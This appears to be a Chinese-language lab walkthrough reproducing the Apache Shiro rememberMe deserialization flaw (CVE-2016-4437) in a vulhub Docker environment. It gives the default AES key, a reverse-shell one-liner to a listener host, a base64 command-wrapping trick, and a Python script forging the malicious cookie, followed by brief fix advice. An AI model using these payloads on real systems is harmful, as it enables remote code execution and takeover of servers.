Shiro550(CVE-2016-4437)漏洞
Shiro550(CVE-2016-4437)漏洞
漏洞描述
Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。
shiro框架存在一个记住密码的功能rememberMe,他的值的通过将用户的序列化数据进行AES+base64加密的。如果勾选了忘记密码,下次登录的时候服务器会根据传输过来的rememberMe字段解密,然后反序列化,无需登录即可访问。
AES加密的key在shiro版本<=1.2.4的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,如果网站没有更换默认密钥,那么攻击者就可以通过伪造数据,从而反序列化,而如果更改了密钥,但是攻击者爆破出来,同样也会被利用。
搭建漏洞复现环境
git clone --depth 1 https://github.com/vulhub/vulhub.git
cd ~/vulhub/shiro/CVE-2016-4437
sudo docker compose up -d
发现
特征:
登录框存在 记住密码的勾选框,以及发送了数据包之后,返回包存在rememberMe=deleteMe字段,则说明该系统使用了shiro框架并开启了记住密码功能。

漏洞利用
图形化工具shiro_attack
这里只需要把url放进去,设置好关键字(有可能会自定义),然后点击爆破密钥,如果能够在字典范围内爆破出来,则会显示找到key:

然后再点击爆破利用链及回显,爆破成功则可直接命令执行/注入内存马。

ysoserial生成payload
echo "sh -i >& /dev/tcp/ip/4444 0>&1" | base64
反弹shell时候有一些特殊字符需要bash64编码版本:
bash -c {echo,bash64格式命令}|{base64,-d}|{bash,-i}
这里使用 ysoserial 生成 CommonsBeanutils1 的 Gadget:

然后用脚本进行aes+base64加密:
import base64
from Crypto.Cipher import AES
# 读取生成的 poc.cer
with open("poc.cer", "rb") as f:
payload = f.read()
# Shiro 默认密钥
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
# 生成随机IV
iv = AES.new(key, AES.MODE_CBC).iv
# PKCS7 填充
def pad(s):
bs = AES.block_size
return s + (bs - len(s) % bs) * bytes([bs - len(s) % bs])
# 加密
payload = pad(payload)
encrypted = AES.new(key, AES.MODE_CBC, iv).encrypt(payload)
# 输出最终 rememberMe
result = base64.b64encode(iv + encrypted).decode()
print("rememberMe=" + result)
然后vps启动监听:nc -lnvp 4444,发送payload

成功反弹shell:

这里需要注意的是,如果登录成功的话,没有删除sessionid那个cookie字段,反序列化是不会成功的。
修复建议
不需要则关闭该功能。使用的时候应该需配置随机复杂密钥,禁止使用默认密钥。
参考文章:

浙公网安备 33010602011771号